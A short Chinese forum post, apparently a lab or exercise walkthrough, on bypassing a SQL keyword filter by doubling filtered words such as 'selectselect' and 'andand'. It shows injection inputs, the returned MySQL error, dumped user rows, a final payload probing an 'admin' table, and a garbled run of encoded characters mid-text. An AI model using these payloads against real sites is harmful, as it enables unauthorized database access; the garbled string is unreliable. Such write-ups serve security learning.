刚刚在另外一个哥们儿那里贴了这个攻略,不过不算是自己绕过的。实际上将被过滤的关键字改成selectselect (注意空格)也是可以成功的 使用1' and 1=1 or ''=' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 or ''=''' at line 1。因为and被过滤掉 使用1' andand%20%201=1 or''=' 返回 ID: 1' and 1=1 or''=' name: baloteli
ID: 1' and 1=1 or''=' name: kanawaluo
ID: 1' and 1=1 or''=' name: dengdeng 这里将空格写成%20是为了明显的显示出来需要两个空格 d4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4@1k6U0g2Q4x3X3g2K6K9r3W2&6j5h3&6T1j5i4u0Q4x3X3g2U0L8$3#2Q4x3V1j5@1x3U0y4Q4x3V1k6%4k6h3u0Q4x3V1k6Q4x3@1k6A6k6q4)9K6c8q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`. or exists (selectselect * fromfrom admin) andand ''='